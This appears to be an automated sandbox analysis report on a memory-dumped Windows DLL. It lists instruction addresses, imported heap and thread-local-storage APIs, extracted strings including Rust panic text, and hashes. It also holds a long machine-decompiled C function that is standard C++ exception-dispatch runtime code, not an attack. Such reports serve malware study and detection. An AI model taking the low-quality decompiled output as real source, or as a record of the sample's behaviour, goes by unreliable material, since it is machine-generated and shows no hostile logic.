0x6e7acea8
0x6e7aceab
0x6e7ad062
0x6e7ad062
0x6e7ad067
0x6e7ad068
0x6e7ad068
0x6e7acc30
0x6e7acc37
0x6e7acc3e
0x6e7acc45
0x6e7acc4c
0x6e7acc50
0x6e7acc57
0x6e7acc5e
0x6e7acc65
0x6e7acc6d
0x6e7acc70
0x6e7acc76
0x6e7acc79
0x6e7acc7f
0x6e7acc85
0x6e7acc8c
0x6e7acc95
0x6e7acc9c
0x6e7acca2
0x6e7acca9
0x6e7accac
0x6e7accba
0x6e7accc1
0x6e7accc9
0x6e7acccc
0x6e7accce
0x6e7accd1
0x6e7accd4
0x6e7accdb
0x6e7accdd
0x6e7acce3
0x6e7acce5
0x6e7acce5
0x6e7accf1
0x6e7accf1
0x6e7accff
0x6e7accff
0x6e7acd04
0x6e7acd15
0x6e7acd1a
0x6e7acf0b
0x6e7acf1a
0x6e7acf21
0x6e7acf28
0x6e7acf32
0x6e7acf35
0x6e7acf3c
0x6e7acf43
0x6e7acf49
0x6e7acf50
0x6e7acf53
0x6e7acf5a
0x6e7acf5f
0x6e7acf68
0x6e7acf6e
0x6e7acf71
0x00000000
0x00000000
0x6e7acf78
0x6e7acf80
0x6e7acf83
0x6e7acf85
0x00000000
0x6e7acd20
0x6e7acd23
0x6e7acfc0
0x6e7acfc3
0x6e7acfc5
0x6e7acfc7
0x6e7acfca
0x6e7acfcf
0x6e7acfcf
0x6e7acfca
0x6e7acfd7
0x6e7acfdd
0x6e7acfe3
0x6e7acfe5
0x6e7acfe7
0x6e7acfea
0x6e7acfef
0x6e7acfef
0x6e7acfea
0x6e7acff9
0x6e7acfff
0x6e7ad003
0x6e7ad00a
0x6e7ad012
0x6e7ad019
0x6e7ad020
0x6e7ad027
0x6e7ad02e
0x6e7ad032
0x6e7ad039
0x6e7ad040
0x6e7ad048
0x6e7ad04b
0x6e7ad04e
0x6e7ad053
0x6e7ad055
0x6e7ad055
0x6e7ad057
0x6e7ad05b
0x6e7ad060
0x00000000
0x6e7ad060
0x6e7acd2b
0x6e7acd31
0x6e7acd33
0x00000000
0x00000000
0x6e7acd3c
0x6e7acd3f
0x6e7acd46
0x6e7acd4d
0x6e7acd54
0x6e7acd5b
0x6e7acd62
0x6e7acd70
0x00000000
0x00000000
0x6e7acd7b
0x6e7acd7e
0x6e7acd86
0x6e7acd88
0x6e7acf88
0x6e7acf8b
0x6e7acf92
0x6e7acf9b
0x6e7acf9d
0x6e7acf9f
0x6e7acf9f
0x6e7acfab
0x6e7acfab
0x6e7acfbb
0x00000000
0x6e7acfbb
0x6e7acd1a
0x6e7aceb1
0x00000000
0x6e7aceb1
0x6e7acb84
0x00000000
0x6e7acb84
0x6e7acb6e
0x6e7acb16
0x6e7ac97f

APIs

Part of subcall function 6E7AC8C0: AcquireSRWLockShared.KERNEL32(6E7FADBC), ref: 6E7AC945

HeapFree.KERNEL32(00000000,00000000), ref: 6E7ACA9C
HeapFree.KERNEL32(00000000,?), ref: 6E7ACAAA
TlsGetValue.KERNEL32(00000000), ref: 6E7ACB0D
HeapFree.KERNEL32(00000000,00000000), ref: 6E7ACCF1
HeapFree.KERNEL32(00000000,?), ref: 6E7ACCFF

Strings

Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6E7ACDC0
Y3{n, xrefs: 6E7AC8C5
cannot access a Thread Local Storage value during or after destructionC:jhdokdvbachceydqtheqlppakhgzijyekeivcljjvbkvyjmwyqejgcsvnqcbhbexvfcyaikjiycwgbjpytkvctpgymeigmgnvityoxcirvtcevutdotfqbgtduf, xrefs: 6E7AC90D, 6E7AC988

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$AcquireLockSharedValue
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $Y3{n$cannot access a Thread Local Storage value during or after destructionC:jhdokdvbachceydqtheqlppakhgzijyekeivcljjvbkvyjmwyqejgcsvnqcbhbexvfcyaikjiycwgbjpytkvctpgymeigmgnvityoxcirvtcevutdotfqbgtduf
API String ID: 942675266-449228936
Opcode ID: 5aa4590b2e115b0874f8505b190c1dca5103880268681190ddc33a239fc3dc28
Instruction ID: 8bebbee71251c7640e1460aa261e2dbb36758b7bacbcfd20c47b8ee7974e4ac0
Opcode Fuzzy Hash: 5aa4590b2e115b0874f8505b190c1dca5103880268681190ddc33a239fc3dc28
Instruction Fuzzy Hash: 2E026AB0900209DFDB10CFE8CA4479EBBB5FF45309F108629DA15AB3A0D776A946CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BD036, Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E6E7BD036(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t202;
				signed int _t203;
				char _t204;
				signed int _t206;
				signed int _t208;
				signed char* _t209;
				signed int _t210;
				signed int _t211;
				signed int _t215;
				void* _t218;
				signed char* _t221;
				void* _t223;
				void* _t225;
				signed char _t229;
				signed int _t230;
				void* _t232;
				void* _t235;
				void* _t238;
				signed char _t245;
				signed int _t250;
				void* _t253;
				signed int* _t255;
				signed int _t256;
				intOrPtr _t257;
				signed int _t258;
				void* _t263;
				void* _t268;
				void* _t269;
				signed int _t273;
				signed char* _t274;
				intOrPtr* _t275;
				signed char _t276;
				signed int _t277;
				signed int _t278;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t298;
				signed int _t300;
				signed char* _t301;
				signed int _t302;
				signed int _t303;
				signed int* _t305;
				signed char* _t308;
				signed int _t318;
				signed int _t319;
				signed int _t321;
				signed int _t330;
				void* _t332;
				void* _t334;
				void* _t335;
				void* _t336;
				void* _t337;

				_t300 = __edx;
				_push(_t319);
				_t305 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t279 = E6E7BDF98(_a8, _a16, _t305);
				_t335 = _t334 + 0xc;
				_v12 = _t279;
				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
					L66:
					_t202 = E6E7BF563(_t274, _t279, _t300, _t305, _t319);
					asm("int3");
					_t332 = _t335;
					_t336 = _t335 - 0x38;
					_push(_t274);
					_t275 = _v112;
					__eflags =  *_t275 - 0x80000003;
					if( *_t275 == 0x80000003) {
						return _t202;
					} else {
						_push(_t319);
						_push(_t305);
						_t203 = E6E7BCCF1(_t275, _t279, _t300, _t305, _t319);
						__eflags =  *(_t203 + 8);
						if( *(_t203 + 8) != 0) {
							__imp__EncodePointer(0);
							_t319 = _t203;
							_t223 = E6E7BCCF1(_t275, _t279, _t300, 0, _t319);
							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
								__eflags =  *_t275 - 0xe0434f4d;
								if( *_t275 != 0xe0434f4d) {
									__eflags =  *_t275 - 0xe0434352;
									if( *_t275 != 0xe0434352) {
										_t215 = E6E7BC537(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
										_t336 = _t336 + 0x1c;
										__eflags = _t215;
										if(_t215 != 0) {
											L83:
											return _t215;
										}
									}
								}
							}
						}
						_t204 = _a16;
						_v28 = _t204;
						_v24 = 0;
						__eflags =  *(_t204 + 0xc);
						if( *(_t204 + 0xc) > 0) {
							_push(_a24);
							E6E7BC46A(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
							_t302 = _v40;
							_t337 = _t336 + 0x18;
							_t215 = _v44;
							_v20 = _t215;
							_v12 = _t302;
							__eflags = _t302 - _v32;
							if(_t302 >= _v32) {
								goto L83;
							}
							_t281 = _t302 * 0x14;
							__eflags = _t281;
							_v16 = _t281;
							do {
								_t282 = 5;
								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
								_t337 = _t337 + 0xc;
								__eflags = _v64 - _t218;
								if(_v64 > _t218) {
									goto L82;
								}
								__eflags = _t218 - _v60;
								if(_t218 > _v60) {
									goto L82;
								}
								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t287 = _t221[4];
								__eflags = _t287;
								if(_t287 == 0) {
									L80:
									__eflags =  *_t221 & 0x00000040;
									if(( *_t221 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E6E7BCFB6(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
										_t302 = _v12;
										_t337 = _t337 + 0x30;
									}
									goto L82;
								}
								__eflags =  *((char*)(_t287 + 8));
								if( *((char*)(_t287 + 8)) != 0) {
									goto L82;
								}
								goto L80;
								L82:
								_t302 = _t302 + 1;
								_t215 = _v20;
								_t281 = _v16 + 0x14;
								_v12 = _t302;
								_v16 = _t281;
								__eflags = _t302 - _v32;
							} while (_t302 < _v32);
							goto L83;
						}
						E6E7BF563(_t275, _t279, _t300, 0, _t319);
						asm("int3");
						_push(_t332);
						_t301 = _v184;
						_push(_t275);
						_push(_t319);
						_push(0);
						_t206 = _t301[4];
						__eflags = _t206;
						if(_t206 == 0) {
							L108:
							_t208 = 1;
							__eflags = 1;
						} else {
							_t280 = _t206 + 8;
							__eflags =  *_t280;
							if( *_t280 == 0) {
								goto L108;
							} else {
								__eflags =  *_t301 & 0x00000080;
								_t308 = _v0;
								if(( *_t301 & 0x00000080) == 0) {
									L90:
									_t276 = _t308[4];
									_t321 = 0;
									__eflags = _t206 - _t276;
									if(_t206 == _t276) {
										L100:
										__eflags =  *_t308 & 0x00000002;
										if(( *_t308 & 0x00000002) == 0) {
											L102:
											_t209 = _a4;
											__eflags =  *_t209 & 0x00000001;
											if(( *_t209 & 0x00000001) == 0) {
												L104:
												__eflags =  *_t209 & 0x00000002;
												if(( *_t209 & 0x00000002) == 0) {
													L106:
													_t321 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t301 & 0x00000002;
													if(( *_t301 & 0x00000002) != 0) {
														goto L106;
													}
												}
											} else {
												__eflags =  *_t301 & 0x00000001;
												if(( *_t301 & 0x00000001) != 0) {
													goto L104;
												}
											}
										} else {
											__eflags =  *_t301 & 0x00000008;
											if(( *_t301 & 0x00000008) != 0) {
												goto L102;
											}
										}
										_t208 = _t321;
									} else {
										_t185 = _t276 + 8; // 0x6e
										_t210 = _t185;
										while(1) {
											_t277 =  *_t280;
											__eflags = _t277 -  *_t210;
											if(_t277 !=  *_t210) {
												break;
											}
											__eflags = _t277;
											if(_t277 == 0) {
												L96:
												_t211 = _t321;
											} else {
												_t278 =  *((intOrPtr*)(_t280 + 1));
												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
													break;
												} else {
													_t280 = _t280 + 2;
													_t210 = _t210 + 2;
													__eflags = _t278;
													if(_t278 != 0) {
														continue;
													} else {
														goto L96;
													}
												}
											}
											L98:
											__eflags = _t211;
											if(_t211 == 0) {
												goto L100;
											} else {
												_t208 = 0;
											}
											goto L109;
										}
										asm("sbb eax, eax");
										_t211 = _t210 | 0x00000001;
										__eflags = _t211;
										goto L98;
									}
								} else {
									__eflags =  *_t308 & 0x00000010;
									if(( *_t308 & 0x00000010) != 0) {
										goto L108;
									} else {
										goto L90;
									}
								}
							}
						}
						L109:
						return _t208;
					}
				} else {
					_t274 = _a4;
					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
						L22:
						_t300 = _a12;
						_v8 = _t300;
						goto L24;
					} else {
						_t319 = 0;
						if(_t274[0x1c] != 0) {
							goto L22;
						} else {
							_t225 = E6E7BCCF1(_t274, _t279, _t300, _t305, 0);
							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
								L60:
								return _t225;
							} else {
								_t274 =  *(E6E7BCCF1(_t274, _t279, _t300, _t305, 0) + 0x10);
								_t263 = E6E7BCCF1(_t274, _t279, _t300, _t305, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t263 + 0x14));
								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
									goto L66;
								} else {
									if( *((intOrPtr*)(E6E7BCCF1(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
										L23:
										_t300 = _v8;
										_t279 = _v12;
										L24:
										_v52 = _t305;
										_v48 = 0;
										__eflags =  *_t274 - 0xe06d7363;
										if( *_t274 != 0xe06d7363) {
											L56:
											__eflags = _t305[3];
											if(_t305[3] <= 0) {
												goto L59;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L66;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t279);
													_push(_t305);
													_push(_a16);
													_push(_t300);
													_push(_a8);
													_push(_t274);
													L67();
													_t335 = _t335 + 0x20;
													goto L59;
												}
											}
										} else {
											__eflags = _t274[0x10] - 3;
											if(_t274[0x10] != 3) {
												goto L56;
											} else {
												__eflags = _t274[0x14] - 0x19930520;
												if(_t274[0x14] == 0x19930520) {
													L29:
													_t319 = _a32;
													__eflags = _t305[3];
													if(_t305[3] > 0) {
														_push(_a28);
														E6E7BC46A(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
														_t300 = _v64;
														_t335 = _t335 + 0x18;
														_t250 = _v68;
														_v44 = _t250;
														_v16 = _t300;
														__eflags = _t300 - _v56;
														if(_t300 < _v56) {
															_t294 = _t300 * 0x14;
															__eflags = _t294;
															_v32 = _t294;
															do {
																_t295 = 5;
																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
																_t335 = _t335 + 0xc;
																__eflags = _v104 - _t253;
																if(_v104 <= _t253) {
																	__eflags = _t253 - _v100;
																	if(_t253 <= _v100) {
																		_t298 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t255 =  *(_t274[0x1c] + 0xc);
																			_t303 =  *_t255;
																			_t256 =  &(_t255[1]);
																			__eflags = _t256;
																			_v36 = _t256;
																			_t257 = _v88;
																			_v40 = _t303;
																			_v24 = _t257;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t318 = _v36;
																				_t330 = _t303;
																				__eflags = _t330;
																				if(_t330 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t274[0x1c]);
																						_t258 =  &_v84;
																						_push( *_t318);
																						_push(_t258);
																						L86();
																						_t335 = _t335 + 0xc;
																						__eflags = _t258;
																						if(_t258 != 0) {
																							break;
																						}
																						_t330 = _t330 - 1;
																						_t318 = _t318 + 4;
																						__eflags = _t330;
																						if(_t330 > 0) {
																							continue;
																						} else {
																							_t298 = _v20;
																							_t257 = _v24;
																							_t303 = _v40;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E6E7BCFB6(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
																					_t335 = _t335 + 0x30;
																				}
																				L43:
																				_t300 = _v16;
																				goto L44;
																				L40:
																				_t298 = _t298 + 1;
																				_t257 = _t257 + 0x10;
																				_v20 = _t298;
																				_v24 = _t257;
																				__eflags = _t298 - _v92;
																			} while (_t298 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t300 = _t300 + 1;
																_t250 = _v44;
																_t294 = _v32 + 0x14;
																_v16 = _t300;
																_v32 = _t294;
																__eflags = _t300 - _v56;
															} while (_t300 < _v56);
															_t305 = _a20;
															_t319 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E6E7BCA71(_t274, _t305, _t319, __eflags);
														_t279 = _t274;
													}
													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
													if(( *_t305 & 0x1fffffff) < 0x19930521) {
														L59:
														_t225 = E6E7BCCF1(_t274, _t279, _t300, _t305, _t319);
														__eflags =  *(_t225 + 0x1c);
														if( *(_t225 + 0x1c) != 0) {
															goto L66;
														} else {
															goto L60;
														}
													} else {
														__eflags = _t305[7];
														if(_t305[7] != 0) {
															L52:
															_t229 = _t305[8] >> 2;
															__eflags = _t229 & 0x00000001;
															if((_t229 & 0x00000001) == 0) {
																_push(_t305[7]);
																_t230 = E6E7BDA45(_t274, _t305, _t319, _t274);
																_pop(_t279);
																__eflags = _t230;
																if(_t230 == 0) {
																	goto L63;
																} else {
																	goto L59;
																}
															} else {
																 *(E6E7BCCF1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
																_t238 = E6E7BCCF1(_t274, _t279, _t300, _t305, _t319);
																_t290 = _v8;
																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
																goto L61;
															}
														} else {
															_t245 = _t305[8] >> 2;
															__eflags = _t245 & 0x00000001;
															if((_t245 & 0x00000001) == 0) {
																goto L59;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L59;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _t274[0x14] - 0x19930521;
													if(_t274[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t274[0x14] - 0x19930522;
														if(_t274[0x14] != 0x19930522) {
															goto L56;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E6E7BCCF1(_t274, _t279, _t300, _t305, _t319) + 0x1c));
										_t268 = E6E7BCCF1(_t274, _t279, _t300, _t305, _t319);
										_push(_v16);
										 *(_t268 + 0x1c) = _t319;
										_t269 = E6E7BDA45(_t274, _t305, _t319, _t274);
										_pop(_t290);
										if(_t269 != 0) {
											goto L23;
										} else {
											_t305 = _v16;
											_t356 =  *_t305 - _t319;
											if( *_t305 <= _t319) {
												L61:
												E6E7BF50C(_t274, _t290, _t300, _t305, _t319, __eflags);
											} else {
												while(1) {
													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
													if(E6E7BD6D9( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, 0x6e7fad60) != 0) {
														goto L62;
													}
													_t319 = _t319 + 0x10;
													_t273 = _v20 + 1;
													_v20 = _t273;
													_t356 = _t273 -  *_t305;
													if(_t273 >=  *_t305) {
														goto L61;
													} else {
														continue;
													}
													goto L62;
												}
											}
											L62:
											_push(1);
											_push(_t274);
											E6E7BCA71(_t274, _t305, _t319, __eflags);
											_t279 =  &_v64;
											E6E7BD6C1( &_v64);
											E6E7BC29C(_t300,  &_v64, 0x6e7f7f7c);
											L63:
											 *(E6E7BCCF1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
											_t232 = E6E7BCCF1(_t274, _t279, _t300, _t305, _t319);
											_t279 = _v8;
											 *(_t232 + 0x14) = _v8;
											__eflags = _t319;
											if(_t319 == 0) {
												_t319 = _a8;
											}
											E6E7BC65D(_t279, _t319, _t274);
											E6E7BD945(_a8, _a16, _t305);
											_t235 = E6E7BDB02(_t305);
											_t335 = _t335 + 0x10;
											_push(_t235);
											E6E7BD8BC(_t274, _t279, _t300, _t305, _t319, __eflags);
											goto L66;
										}
									}
								}
							}
						}
					}
				}
			}

0x6e7bd036
0x6e7bd03d
0x6e7bd03f
0x6e7bd048
0x6e7bd04e
0x6e7bd056
0x6e7bd058
0x6e7bd05b
0x6e7bd061
0x6e7bd3da
0x6e7bd3da
0x6e7bd3df
0x6e7bd3e1
0x6e7bd3e3
0x6e7bd3e6
0x6e7bd3e7
0x6e7bd3ea
0x6e7bd3f0
0x6e7bd50f
0x6e7bd3f6
0x6e7bd3f6
0x6e7bd3f7
0x6e7bd3f8
0x6e7bd3ff
0x6e7bd402
0x6e7bd405
0x6e7bd40b
0x6e7bd40d
0x6e7bd412
0x6e7bd415
0x6e7bd417
0x6e7bd41d
0x6e7bd41f
0x6e7bd425
0x6e7bd43a
0x6e7bd43f
0x6e7bd442
0x6e7bd444
0x6e7bd50b
0x00000000
0x6e7bd50c
0x6e7bd444
0x6e7bd425
0x6e7bd41d
0x6e7bd415
0x6e7bd44a
0x6e7bd44d
0x6e7bd450
0x6e7bd453
0x6e7bd456
0x6e7bd45c
0x6e7bd46e
0x6e7bd473
0x6e7bd476
0x6e7bd479
0x6e7bd47c
0x6e7bd47f
0x6e7bd482
0x6e7bd485
0x00000000
0x00000000
0x6e7bd48b
0x6e7bd48b
0x6e7bd48e
0x6e7bd491
0x6e7bd4a0
0x6e7bd4a1
0x6e7bd4a1
0x6e7bd4a3
0x6e7bd4a6
0x00000000
0x00000000
0x6e7bd4a8
0x6e7bd4ab
0x00000000
0x00000000
0x6e7bd4b9
0x6e7bd4bb
0x6e7bd4be
0x6e7bd4c0
0x6e7bd4c8
0x6e7bd4c8
0x6e7bd4cb
0x6e7bd4cd
0x6e7bd4cf
0x6e7bd4eb
0x6e7bd4f0
0x6e7bd4f3
0x6e7bd4f3
0x00000000
0x6e7bd4cb
0x6e7bd4c2
0x6e7bd4c6
0x00000000
0x00000000
0x00000000
0x6e7bd4f6
0x6e7bd4f9
0x6e7bd4fa
0x6e7bd4fd
0x6e7bd500
0x6e7bd503
0x6e7bd506
0x6e7bd506
0x00000000
0x6e7bd491
0x6e7bd510
0x6e7bd515
0x6e7bd516
0x6e7bd519
0x6e7bd51c
0x6e7bd51d
0x6e7bd51e
0x6e7bd51f
0x6e7bd522
0x6e7bd524
0x6e7bd59c
0x6e7bd59e
0x6e7bd59e
0x6e7bd526
0x6e7bd526
0x6e7bd529
0x6e7bd52c
0x00000000
0x6e7bd52e
0x6e7bd52e
0x6e7bd531
0x6e7bd534
0x6e7bd53b
0x6e7bd53b
0x6e7bd53e
0x6e7bd540
0x6e7bd542
0x6e7bd574
0x6e7bd574
0x6e7bd577
0x6e7bd57e
0x6e7bd57e
0x6e7bd581
0x6e7bd584
0x6e7bd58b
0x6e7bd58b
0x6e7bd58e
0x6e7bd595
0x6e7bd597
0x6e7bd597
0x6e7bd590
0x6e7bd590
0x6e7bd593
0x00000000
0x00000000
0x6e7bd593
0x6e7bd586
0x6e7bd586
0x6e7bd589
0x00000000
0x00000000
0x6e7bd589
0x6e7bd579
0x6e7bd579
0x6e7bd57c
0x00000000
0x00000000
0x6e7bd57c
0x6e7bd598
0x6e7bd544
0x6e7bd544
0x6e7bd544
0x6e7bd547
0x6e7bd547
0x6e7bd549
0x6e7bd54b
0x00000000
0x00000000
0x6e7bd54d
0x6e7bd54f
0x6e7bd563
0x6e7bd563
0x6e7bd551
0x6e7bd551
0x6e7bd554
0x6e7bd557
0x00000000
0x6e7bd559
0x6e7bd559
0x6e7bd55c
0x6e7bd55f
0x6e7bd561
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7bd561
0x6e7bd557
0x6e7bd56c
0x6e7bd56c
0x6e7bd56e
0x00000000
0x6e7bd570
0x6e7bd570
0x6e7bd570
0x00000000
0x6e7bd56e
0x6e7bd567
0x6e7bd569
0x6e7bd569
0x00000000
0x6e7bd569
0x6e7bd536
0x6e7bd536
0x6e7bd539
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7bd539
0x6e7bd534
0x6e7bd52c
0x6e7bd59f
0x6e7bd5a3
0x6e7bd5a3
0x6e7bd070
0x6e7bd070
0x6e7bd079
0x6e7bd176
0x6e7bd176
0x6e7bd179
0x00000000
0x6e7bd0a8
0x6e7bd0a8
0x6e7bd0ad
0x00000000
0x6e7bd0b3
0x6e7bd0b3
0x6e7bd0bb
0x6e7bd374
0x6e7bd378
0x6e7bd0c1
0x6e7bd0c6
0x6e7bd0c9
0x6e7bd0ce
0x6e7bd0d5
0x6e7bd0da
0x00000000
0x6e7bd112
0x6e7bd11a
0x6e7bd17e
0x6e7bd17e
0x6e7bd181
0x6e7bd184
0x6e7bd186
0x6e7bd189
0x6e7bd18c
0x6e7bd192
0x6e7bd343
0x6e7bd343
0x6e7bd346
0x00000000
0x6e7bd348
0x6e7bd348
0x6e7bd34b
0x00000000
0x6e7bd351
0x6e7bd351
0x6e7bd354
0x6e7bd357
0x6e7bd358
0x6e7bd359
0x6e7bd35c
0x6e7bd35d
0x6e7bd360
0x6e7bd361
0x6e7bd366
0x00000000
0x6e7bd366
0x6e7bd34b
0x6e7bd198
0x6e7bd198
0x6e7bd19c
0x00000000
0x6e7bd1a2
0x6e7bd1a2
0x6e7bd1a9
0x6e7bd1c1
0x6e7bd1c1
0x6e7bd1c4
0x6e7bd1c7
0x6e7bd1cd
0x6e7bd1dd
0x6e7bd1e2
0x6e7bd1e5
0x6e7bd1e8
0x6e7bd1eb
0x6e7bd1ee
0x6e7bd1f1
0x6e7bd1f4
0x6e7bd1fa
0x6e7bd1fa
0x6e7bd1fd
0x6e7bd200
0x6e7bd20f
0x6e7bd210
0x6e7bd210
0x6e7bd212
0x6e7bd215
0x6e7bd21b
0x6e7bd21e
0x6e7bd224
0x6e7bd226
0x6e7bd229
0x6e7bd22c
0x6e7bd235
0x6e7bd238
0x6e7bd23a
0x6e7bd23a
0x6e7bd23d
0x6e7bd240
0x6e7bd243
0x6e7bd246
0x6e7bd249
0x6e7bd24e
0x6e7bd24f
0x6e7bd250
0x6e7bd251
0x6e7bd252
0x6e7bd255
0x6e7bd257
0x6e7bd259
0x00000000
0x6e7bd25b
0x6e7bd25b
0x6e7bd25b
0x6e7bd25e
0x6e7bd261
0x6e7bd263
0x6e7bd264
0x6e7bd269
0x6e7bd26c
0x6e7bd26e
0x00000000
0x00000000
0x6e7bd270
0x6e7bd271
0x6e7bd274
0x6e7bd276
0x00000000
0x6e7bd278
0x6e7bd278
0x6e7bd27b
0x6e7bd27e
0x00000000
0x6e7bd27e
0x00000000
0x6e7bd276
0x6e7bd292
0x6e7bd298
0x6e7bd2b5
0x6e7bd2ba
0x6e7bd2ba
0x6e7bd2bd
0x6e7bd2bd
0x00000000
0x6e7bd281
0x6e7bd281
0x6e7bd282
0x6e7bd285
0x6e7bd288
0x6e7bd28b
0x6e7bd28b
0x00000000
0x6e7bd290
0x6e7bd22c
0x6e7bd21e
0x6e7bd2c0
0x6e7bd2c3
0x6e7bd2c4
0x6e7bd2c7
0x6e7bd2ca
0x6e7bd2cd
0x6e7bd2d0
0x6e7bd2d0
0x6e7bd2d9
0x6e7bd2dc
0x6e7bd2dc
0x6e7bd1f4
0x6e7bd2df
0x6e7bd2e3
0x6e7bd2e5
0x6e7bd2e8
0x6e7bd2ee
0x6e7bd2ee
0x6e7bd2f6
0x6e7bd2fb
0x6e7bd369
0x6e7bd369
0x6e7bd36e
0x6e7bd372
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7bd2fd
0x6e7bd2fd
0x6e7bd301
0x6e7bd313
0x6e7bd316
0x6e7bd319
0x6e7bd31b
0x6e7bd332
0x6e7bd336
0x6e7bd33c
0x6e7bd33d
0x6e7bd33f
0x00000000
0x6e7bd341
0x00000000
0x6e7bd341
0x6e7bd31d
0x6e7bd322
0x6e7bd325
0x6e7bd32a
0x6e7bd32d
0x00000000
0x6e7bd32d
0x6e7bd303
0x6e7bd306
0x6e7bd309
0x6e7bd30b
0x00000000
0x6e7bd30d
0x6e7bd30d
0x6e7bd311
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7bd311
0x6e7bd30b
0x6e7bd301
0x6e7bd1ab
0x6e7bd1ab
0x6e7bd1b2
0x00000000
0x6e7bd1b4
0x6e7bd1b4
0x6e7bd1bb
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7bd1bb
0x6e7bd1b2
0x6e7bd1a9
0x6e7bd19c
0x6e7bd11c
0x6e7bd124
0x6e7bd127
0x6e7bd12c
0x6e7bd130
0x6e7bd133
0x6e7bd139
0x6e7bd13c
0x00000000
0x6e7bd13e
0x6e7bd13e
0x6e7bd141
0x6e7bd143
0x6e7bd379
0x6e7bd379
0x00000000
0x6e7bd149
0x6e7bd151
0x6e7bd15c
0x00000000
0x00000000
0x6e7bd165
0x6e7bd168
0x6e7bd169
0x6e7bd16c
0x6e7bd16e
0x00000000
0x6e7bd174
0x00000000
0x6e7bd174
0x00000000
0x6e7bd16e
0x6e7bd149
0x6e7bd37e
0x6e7bd37e
0x6e7bd380
0x6e7bd381
0x6e7bd388
0x6e7bd38b
0x6e7bd399
0x6e7bd39e
0x6e7bd3a3
0x6e7bd3a6
0x6e7bd3ab
0x6e7bd3ae
0x6e7bd3b1
0x6e7bd3b3
0x6e7bd3b5
0x6e7bd3b5
0x6e7bd3ba
0x6e7bd3c6
0x6e7bd3cc
0x6e7bd3d1
0x6e7bd3d4
0x6e7bd3d5
0x00000000
0x6e7bd3d5
0x6e7bd13c
0x6e7bd11a
